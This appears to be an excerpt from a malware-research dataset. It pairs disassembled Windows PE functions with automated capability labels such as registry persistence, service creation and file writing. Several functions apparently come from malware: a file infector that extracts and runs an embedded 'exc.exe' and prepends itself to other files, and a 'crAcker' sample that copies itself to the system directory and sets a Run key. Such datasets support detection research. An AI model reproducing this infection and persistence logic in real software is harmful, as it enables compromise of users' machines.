joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e0f
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x14
push 0x4127f0
call fcn.00404cf0
call fcn.004049c6
movzx esi, ax
push 2
call fcn.004047c6
pop ecx
mov eax, 0x5a4d
cmp word [sym.imp.authz.dll_AuthzAddSidsToContext], ax
je 0x402cc6
xor ebx, ebx
jmp 0x402cf9
mov eax, dword [0x40003c]
cmp dword [eax + sym.imp.authz.dll_AuthzAddSidsToContext], 0x4550
jne 0x402cc2
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x402cc2
sub ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x402cf9
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004041e8
test eax, eax
jne 0x402d0d
push 0x1c
call fcn.00402de8
pop ecx
call fcn.00403c4b
or eax, eax
jne 0x402d1e
push 0x10
call fcn.00402de8
pop ecx
call fcn.004048ad
and dword [ebp - 4], 0
call fcn.004041fd
test eax, eax
jns 0x402d38
push 0x1b
call fcn.00402de8
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x484150], eax
call fcn.004048ed
mov dword [0x482144], eax
call fcn.004044ab
test eax, eax
jns 0x402d5e
push 8
call fcn.00403d26
pop ecx
call fcn.004046e4
or eax, eax
jns 0x402d6f
push 9
call fcn.00403d26
pop ecx
push 1
call fcn.00403d60
pop ecx
or eax, eax
je 0x402d82
push eax
call fcn.00403d26
pop ecx
call fcn.00404c9d
push esi
push eax
push 0
push sym.imp.authz.dll_AuthzAddSidsToContext
call main
mov esi, eax
mov dword [ebp - 0x24], esi
or ebx, ebx
jne 0x402da4
push esi
call fcn.00403fbc
call fcn.00403d51
jmp 0x402dd9
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00404d35
ret
call fcn.00404813
jmp 0x402c98
Function at 0x40402d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
mov eax, dword [0x4140a0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.00404009
push eax
pop edi
pop ecx
test edi, edi
je 0x4041cf
push ebx
push 3
call fcn.004047d3
pop ecx
cmp eax, 1
je 0x404177
push 3
call fcn.004047d3
pop ecx
test eax, eax
jne 0x404081
cmp dword [0x482180], 1
je 0x404177
cmp esi, 0xfc
je 0x4041ce
push str.Runtime_Error__n_nProgram:
push 0x314
push 0x482188
call fcn.00403479
add esp, 0xc
xor ebx, ebx
or eax, eax
jne 0x4041dd
push 0x104
push 0x4821ba
push ebx
mov word [0x4823c2], ax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x2fb
test eax, eax
jne 0x4040e9
push str._program_name_unknown_
push esi
push 0x4821ba
call fcn.00403479
add esp, 0xc
test eax, eax
jne 0x4041dd
push 0x4821ba
call fcn.004075f7
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40412f
push 0x4821ba
call fcn.004075f7
lea ecx, [eax*2 + 0x482144]
mov eax, ecx
sub eax, 0x4821ba
push 3
sar eax, 1
push 0x40dca0
sub esi, eax
push esi
push ecx
call fcn.00407610
add esp, 0x14
or eax, eax
jne 0x4041dd
push 0x40dca8
push 0x314
mov esi, 0x482188
push esi
call fcn.0040758b
add esp, 0xc
test eax, eax
jne 0x4041dd
push edi
push 0x314
push esi
call fcn.0040758b
add esp, 0xc
test eax, eax
jne 0x4041dd
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push esi
call fcn.004076ce
add esp, 0xc
jmp 0x4041ce
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
test esi, esi
je 0x4041ce
cmp esi, 0xffffffff
je 0x4041ce
sub ebx, ebx
mov ecx, ebx
mov al, byte [edi + ecx*2]
mov byte [ebp + ecx - 0x1f8], al
cmp word [edi + ecx*2], bx
je 0x4041a7
inc ecx
cmp ecx, 0x1f4
jb 0x40418e
push ebx
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x1f8]
push eax
mov byte [ebp - 5], bl
call fcn.00407500
pop ecx
push eax
lea eax, [ebp - 0x1f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00402e19
leave
ret
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004052bf
int3

Function at 0x4048ed
Capabilities:
Query environment variable

Disassembly:
push ebp
push esp
pop ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push eax
pop edi
or edi, edi
je 0x404945
push ebx
sub ebx, ebx
push esi
mov esi, edi
cmp word [edi], bx
je 0x404919
add esi, 2
cmp word [esi], bx
jne 0x404909
add esi, 2
cmp word [esi], bx
jne 0x404909
sub esi, edi
add esi, 2
push esi
call fcn.00406544
pop ecx
mov dword [ebp - 4], eax
or eax, eax
je 0x40493a
push esi
push edi
push eax
call fcn.00405a60
mov ebx, dword [ebp - 4]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop esi
push ebx
pop eax
pop ebx
pop edi
leave
ret
Function at 0x407030
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [ebp + 8]
push ebx
mov ecx, dword [eax + 0x3c]
add ecx, eax
push esi
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
xor edx, edx
add eax, ecx
push edi
or ebx, ebx
je 0x40706c
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407064
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x40706e
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407054
sub eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407140
Capabilities:
Parse pe header

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x407154
sub eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x40716f
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x4076ce
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4140a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004049e7
mov dword [ebp - 0x14], eax
cmp dword [0x482f9c], edi
jne 0x4077bf
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push eax
pop esi
test esi, esi
jne 0x40774c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40789f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
pop esi
or esi, esi
je 0x40789f
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40789f
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x482f9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x482fa0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x482fa4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x482fac], eax
or eax, eax
je 0x4077bc
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x482fa8], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
or eax, eax
je 0x4077e4
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4077d7
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x4077f9
push 4
pop eax
jmp 0x4078a1
cmp dword [ebp - 0x14], edi
je 0x4077f9
push dword [0x482f9c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4077de
mov eax, dword [0x482fa8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x407857
cmp dword [0x482fac], esi
je 0x407857
push eax
call ebx
push dword [0x482fac]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
or ecx, ecx
je 0x407857
or eax, eax
je 0x407857
call ecx
or eax, eax
je 0x40784c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40784c
test byte [ebp - 8], 1
jne 0x407857
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x407887
mov eax, dword [0x482fa0]
cmp eax, esi
je 0x407884
push eax
call ebx
test eax, eax
je 0x407884
call eax
push eax
pop edi
test edi, edi
je 0x407884
mov eax, dword [0x482fa4]
cmp eax, esi
je 0x407884
push eax
call ebx
test eax, eax
je 0x407884
push edi
call eax
push eax
pop edi
mov esi, dword [ebp + 0x10]
push dword [0x482f9c]
call ebx
or eax, eax
je 0x40789f
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4078a1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402e19
leave
ret
Function at 0x401290
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call sym._10
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._7
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
mov dword [esp], 0xea60
call sub.KERNEL32.DLL_Sleep
sub esp, 4
call sym._rand
mov ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sym._9
jmp 0x4012d2
Function at 0x401320
Capabilities:
Create process on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 8], 0
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0x405030
mov dword [esp], eax
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], 0x4040be
mov dword [esp], 0x405030
call sym._fopen
mov dword [0x405014], eax
cmp dword [0x405014], 0
jne 0x401385
mov dword [esp], 0
call sub.msvcrt.dll_exit
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [0x405014]
mov dword [esp], eax
call sym._fseek
mov eax, dword [0x405014]
mov dword [esp], eax
call sub.msvcrt.dll_ftell
mov dword [0x40513c], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [0x405014]
mov dword [esp], eax
call sym._fseek
mov eax, dword [0x40513c]
mov dword [esp], eax
call sym._malloc
mov dword [0x405134], eax
mov eax, dword [0x405014]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov eax, dword [0x40513c]
mov dword [esp + 4], eax
mov eax, dword [0x405134]
mov dword [esp], eax
call sym._fread
mov eax, dword [0x405014]
mov dword [esp], eax
call sym._fclose
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
cmp eax, dword [0x40513c]
jge 0x40146e
mov eax, dword [0x405134]
add eax, dword [ebp - 4]
cmp byte [eax], 0x2a
jne 0x401467
mov eax, dword [ebp - 4]
add eax, dword [0x405134]
inc eax
cmp byte [eax], 0x2a
jne 0x401467
mov eax, dword [ebp - 4]
add eax, dword [0x405134]
add eax, 2
cmp byte [eax], 0x2a
jne 0x401467
mov eax, dword [ebp - 4]
add eax, dword [0x405134]
add eax, 3
mov dword [ebp - 8], eax
jmp 0x40146e
lea eax, [ebp - 4]
inc dword [eax]
jmp 0x40141e
cmp dword [ebp - 8], 0
je 0x401514
mov dword [esp + 4], 0x4040c1
mov dword [esp], str.exc.exe
call sym._fopen
mov dword [0x405010], eax
cmp dword [0x405010], 0
jne 0x4014a3
mov dword [ebp - 0xc], 0
jmp 0x40151b
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov edx, dword [ebp - 4]
mov eax, dword [0x40513c]
sub eax, edx
add eax, 3
mov dword [esp + 4], eax
mov eax, dword [ebp - 8]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [0x405010]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.exc.exe
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401520
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [ebp - 0x18], 0x2a
mov byte [ebp - 0x17], 0x2a
mov byte [ebp - 0x16], 0x2a
mov dword [esp + 4], 0x4040be
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [0x405014], eax
cmp dword [0x405014], 0
jne 0x40155f
mov dword [ebp - 0x1c], 0
jmp 0x4016bd
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [0x405014]
mov dword [esp], eax
call sym._fseek
mov eax, dword [0x405014]
mov dword [esp], eax
call sub.msvcrt.dll_ftell
mov dword [0x405140], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [0x405014]
mov dword [esp], eax
call sym._fseek
mov eax, dword [0x405140]
mov dword [esp], eax
call sym._malloc
mov dword [0x405138], eax
mov eax, dword [0x405014]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov eax, dword [0x405140]
mov dword [esp + 4], eax
mov eax, dword [0x405138]
mov dword [esp], eax
call sym._fread
mov eax, dword [0x405014]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], 0x4040c1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [0x405010], eax
cmp dword [0x405010], 0
jne 0x40162b
mov eax, dword [0x405138]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x1c], 0
jmp 0x4016bd
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0x6e6e
mov eax, dword [0x405134]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 3
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov eax, dword [0x405140]
mov dword [esp + 4], eax
mov eax, dword [0x405138]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [0x405010]
mov dword [esp], eax
call sym._fclose
mov eax, dword [0x405138]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
leave
ret
Function at 0x4016c2
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
mov dword [esp], 0x3a98
call sub.KERNEL32.DLL_Sleep
sub esp, 4
mov dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
cmp dword [eax*4 + section..data], 0
je 0x4016cb
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 4], eax
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sub.KERNEL32.DLL_FindFirstFileA
sub esp, 8
mov dword [ebp - 0x14c], eax
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.DLL_FindNextFileA
sub esp, 8
test eax, eax
je 0x4017f7
cmp dword [ebp - 0x148], 0x20
jne 0x40175b
mov eax, dword [ebp - 0x48c]
mov dword [esp + 4], 0x404000
mov eax, dword [eax*4 + section..data]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4017b7
lea eax, [ebp - 0x148]
add eax, 0x2c
mov dword [esp], eax
call sym._6
jmp 0x40175b
lea eax, [ebp - 0x148]
add eax, 0x2c
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x378]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._6
jmp 0x40175b
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
sub esp, 4
lea eax, [ebp - 0x48c]
inc dword [eax]
jmp 0x4016e4
Function at 0x401a78
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
mov edx, eax
mov dword [esp + 8], 0x103
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], 0x103
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
sub esp, 8
mov dword [esp + 4], str.crAcker.exe
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x238]
lea edx, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcmp
test eax, eax
je 0x401b9f
mov dword [esp + 8], 0
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.KERNEL32.DLL_CopyFileA
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x238]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Win32.crAcker.A
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, 0
leave
ret

Function at 0x401bb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00402110
call sym.___main
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x401be8
jmp 0x401c86
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x401be7
cmp cl, 0x22
je 0x401c40
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x401c60
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x401c20
jmp 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x401c40
cmp cl, 0x22
je 0x401cc2
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x401c80
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x401c70
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x401ca4
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym._5
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x401c60

Function at 0x402480
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym._4
Function at 0x4010f8
Capabilities:
Print debug messages
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0x4207e0
push 1
push str.Debug
push str.Setting
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
test eax, eax
je 0x40114a
push esi
lea eax, [ebp + 0xc]
mov esi, 0x420e00
push eax
push 0
push dword [ebp + 8]
push 0x400
push esi
call fcn.00401000
push dword [eax + 4]
push dword [eax]
call fcn.00406284
add esp, 0x1c
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call fcn.0040114f
pop esi
xor eax, eax
inc eax
pop ebp
ret

Function at 0x401502
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
push 0x38
lea eax, [ebp - 0x38]
mov dword [ebp - 0x3c], 0x3c
push 0
push eax
mov di, dx
mov si, cx
call fcn.004036a0
mov eax, 0x4209f0
mov dword [ebp - 0x30], str.runas
push eax
push str.Retry_run__s_n
mov dword [ebp - 0x2c], eax
call fcn.004010f8
add esp, 0x14
push 0x69
pop eax
cmp ax, si
jne 0x40156d
push 0x64
pop eax
cmp ax, di
jne 0x401558
mov eax, str._id__r
jmp 0x4015bd
mov eax, str._is__r
mov ecx, str._i__r
push 0x73
pop edx
cmp dx, di
cmovne eax, ecx
jmp 0x4015bd
push 0x75
pop eax
cmp ax, si
jne 0x401590
push 0x64
pop eax
cmp ax, di
jne 0x401584
mov eax, str._ud__r
jmp 0x4015bd
mov eax, str._us__r
mov ecx, str._u__r
jmp 0x401562
push 0x74
pop eax
cmp ax, si
jne 0x40159f
mov eax, str._t__r
jmp 0x4015bd
push 0x70
pop eax
cmp ax, si
jne 0x4015ae
mov eax, str._p__r
jmp 0x4015bd
push 0x73
pop ecx
cmp cx, si
mov eax, str._s__r
cmovne eax, dword [ebp - 0x28]
push eax
push str.sei.lpParameters___s_n
mov dword [ebp - 0x28], eax
call fcn.004010f8
pop ecx
pop ecx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
pop edi
pop esi
test eax, eax
jne 0x401601
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
jne 0x4015f1
push str.RunAsAdmin_ERROR_CANCELLED_n
jmp 0x4015fb
cmp eax, 2
jne 0x401601
push str.RunAsAdmin_ERROR_FILE_NOT_FOUND_n
call fcn.004010f8
pop ecx
leave
ret
Function at 0x4018ec
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x104
lea eax, [ebp - 0x20c]
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x401936
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push str.SvcInstall___Cannot_install_service___d__n
call fcn.004010f8
pop ecx
pop ecx
mov eax, esi
jmp 0x4019bb
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
jne 0x401959
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push str.SvcInstall_OpenSCManager_failed__Err_d__n
jmp 0x401928
push edi
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x20c]
push eax
push 1
push 2
push 0x10
push 0xf01ff
push str.Wifi_AutoInstall_Service
push str.WifiAutoInstallSrv
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
jne 0x4019a5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push edi
push str.SvcInstall_Service_Create_failed__Err_d__n
call fcn.004010f8
pop ecx
pop ecx
jmp 0x4019b5
push str.SvcInstall_Service_Create_OK_n
call fcn.004010f8
pop ecx
push edi
call ebx
xor edi, edi
push esi
call ebx
mov eax, edi
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004025eb
leave
ret

Function at 0x4019c9
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 1
xor edi, edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x401aab
push esi
push 0x10024
push str.WifiAutoInstallSrv
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x401a98
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x1c], 1
je 0x401a65
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x1c], 1
je 0x401a5a
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x41c030
call fcn.004010f8
inc edi
pop ecx
cmp edi, 0x64
jl 0x401a2b
jmp 0x401a65
push str.SvcUnInstall_Service_Stopped_n
call fcn.004010f8
pop ecx
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x401a84
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.SvcUnInstallService_Delete_Fail:_Err0x_x_n
call fcn.004010f8
pop ecx
jmp 0x401a8e
push str.SvcUnInstall_Service_Delete_OK_n
call fcn.004010f8
pop ecx
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x401aa3
push str.SvcUnInstall_Service_Not_Found.._n
call fcn.004010f8
pop ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.004025eb
leave
ret